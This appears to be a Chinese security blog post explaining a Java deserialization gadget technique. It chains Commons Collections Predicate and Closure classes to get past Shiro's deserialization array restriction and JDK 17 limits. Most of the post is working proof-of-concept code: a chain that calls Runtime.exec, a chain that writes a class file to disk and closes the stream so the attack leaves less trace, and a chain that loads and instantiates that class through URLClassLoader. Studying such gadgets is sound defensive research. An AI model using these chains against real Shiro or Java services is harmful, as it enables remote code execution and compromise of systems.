本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。
Closure和Predicate
CC反序列化常见的打法有两种:
- 通过ChainedTransformer链式调用
Runtime
的exec
方法。 - 直接调用
TemplatesImpl
加载字节码,这样不需要链式调用
ClosureTransformer
类可以调用Closure
,其transform
方法代码如下:
public Object transform(Object input) {
iClosure.execute(input);
return input;
}
可以调用任意Closure
类的execute
方法。
IfClosure
类的execute
方法代码如下:
public void execute(Object input) {
if (iPredicate.evaluate(input) == true) {
iTrueClosure.execute(input);
} else {
iFalseClosure.execute(input);
}
}
会调用任意Predicate
类的evaluate
方法,且参数可控。
TransformedPredicate
是Predicate
接口的一个实现类,其evaluate
方法可以链式调用:
public boolean evaluate(Object object) {
Object result = iTransformer.transform(object);
return iPredicate.evaluate(result);
}
当前iTransformer
的transform
方法执行后会将结果作为参数传递给下一个Predicate
。将多个TransformedPredicate
串起来即可实现链式调用,可以替代ChainedTransformer
命令执行
在Shiro反序列化漏洞中,由于使用特殊的ClassResolvingObjectInputStream
类来加载类,会有一些限制:如果反序列化流中包含非 Java 自身的数组(非String[], byte[]等),则会出现无法加载类的错误。
常见的绕过方式为:
- 让
InvokerTransformer
直接调用TemplatesImpl
的newTransformer
方法,不使用Transformer数组,jdk高版本不能使用。 - 使用RMI二次反序列化,需要出网。
但使用Predicate
不会受到数组限制,因为Predicate
是通过一个个引用实现链式调用的。
执行Runtime#exec
的POC:
Predicate predicate4 = new TransformedPredicate(
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
null
);
Predicate predicate3 = new TransformedPredicate(
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
predicate4
);
Predicate predicate2 = new TransformedPredicate(
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
predicate3
);
Predicate predicate1 = new TransformedPredicate(
new ConstantTransformer(Runtime.class),
predicate2
);
final Closure closure = new IfClosure(predicate1, null, null);
final Transformer transformer = new ClosureTransformer(closure);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
HashMap innimpl = (HashMap) getFieldValue(map, "map");
if (innimpl == null){
innimpl = (HashMap) getFieldValue(map, "backingMap");
}
Object[] array = (Object[]) getFieldValue(innimpl, "table");
if (array == null){
array = (Object[]) getFieldValue(innimpl, "elementData");
}
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
} catch(Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
System.out.println(ser(map));
高版本加载字节码
JDK 17.0.10
CC 3.2.1
对于低版本来说,直接用InstantiateTransformer
和TrAXFilter
触发TemplatesImpl
的newTransformer
方法即可,但对于jdk17+来说,用TemplatesImpl会受到module限制,而默认js引擎已经被移除了,但还可以用URLClassLoader
,不过会有文件落地或者网络连接。
FileOutputStream fileOutputStream = new FileOutputStream("/uploadpath/Test.class");
fileOutputStream.write(new byte[]{1,2,3});
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///uploadpath/")});
Class calc = urlClassLoader.loadClass("Test");
calc.newInstance();
写文件
POC:
Class InstantiateTransformerClass = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
Constructor InstantiateTransformerCon = InstantiateTransformerClass.getDeclaredConstructor(new Class[]{Class[].class, Object[].class});
InstantiateTransformerCon.setAccessible(true);
Predicate predicate3 = new TransformedPredicate(
new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{code}),
null
);
Predicate predicate2 = new TransformedPredicate(
(Transformer) InstantiateTransformerCon.newInstance(new Class[]{String.class}, new Object[]{"/uploadpath/Test.class"}),
predicate3
);
Predicate predicate1 = new TransformedPredicate(
new ConstantTransformer(FileOutputStream.class),
predicate2
);
上面的POC没有执行close
方法,虽然后续可以正常加载字节码,但在windows系统上没办法删除,在Linux上也留着fd,不够隐蔽。
如果要执行close
方法的话执行流程就不是纯线性的了,不过好在IfClosure
支持对同一个对象执行多条分支Closure
public void execute(Object input) {
if (iPredicate.evaluate(input) == true) {
iTrueClosure.execute(input);
} else {
iFalseClosure.execute(input);
}
}
可以先通过InstantiateTransformer
获得一个FileOutputStream
对象赋值为input
变量,然后进入IfClosure
通过TransformedPredicate
的evaluate
执行write
方法,最后进入else
分支通过iFalseClosure
执行close
方法。流程图如下:
if
表达式里的iPredicate
对应predicate_main
POC:
Class InstantiateTransformerClass = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
Constructor InstantiateTransformerCon = InstantiateTransformerClass.getDeclaredConstructor(new Class[]{Class[].class, Object[].class});
InstantiateTransformerCon.setAccessible(true);
Predicate predicate_main = new TransformedPredicate(
new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{code}),
FalsePredicate.getInstance()
);
Closure branch_false_closure = new IfClosure(
new TransformedPredicate(
new InvokerTransformer("close", new Class[]{}, new Object[]{}), null
), null, null
);
Predicate predicate3 = new TransformedPredicate(
new ClosureTransformer(new IfClosure(predicate_main, null, branch_false_closure)),
FalsePredicate.getInstance()
);
Predicate predicate2 = new TransformedPredicate(
(Transformer) InstantiateTransformerCon.newInstance(new Class[]{String.class}, new Object[]{"/uploadpath/Test.class"}),
predicate3
);
Predicate predicate1 = new TransformedPredicate(
new ConstantTransformer(FileOutputStream.class),
predicate2
);
本来想试试用FileOutputStream
指定append参数为true
,这样可以文件追加,但解析boolean
类时会进入Shiro的ClassResolvingObjectInputStream
类自定义的resolveClass
方法,用的是ClassUtils#forName
方法。
然后会报错找不到这个类,跟上面说的无法解析非Java数组应该是类似的原因。
而原生的resolveClass
方法代码有一个专门的map存放这些类:
所以int.class
,boolean.class
等都不能反序列化,这种情况下就没办法追加写入了。
加载类
Class InstantiateTransformerClass = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
Constructor InstantiateTransformerCon = InstantiateTransformerClass.getDeclaredConstructor(new Class[]{Class[].class, Object[].class});
InstantiateTransformerCon.setAccessible(true);
Predicate predicate4 = new TransformedPredicate(
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
null
);
Predicate predicate3 = new TransformedPredicate(
new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"Test"}),
predicate4
);
Predicate predicate2 = new TransformedPredicate(
(Transformer) InstantiateTransformerCon.newInstance(new Class[]{URL[].class}, new Object[]{new URL[]{new URL("file:///uploadpath/")}}),
predicate3
);
Predicate predicate1 = new TransformedPredicate(
new ConstantTransformer(URLClassLoader.class),
predicate2
);
通过不同的Closure
配合可以执行复杂的操作,但这个方法有一个缺点,那就是参数不能变,InvokeTransformer
和InstantiateTransformer
中的iArgs
都是提前设置的,所以像defineClass
这种需要把ClassLoader
对象作为参数的方法就不能执行了。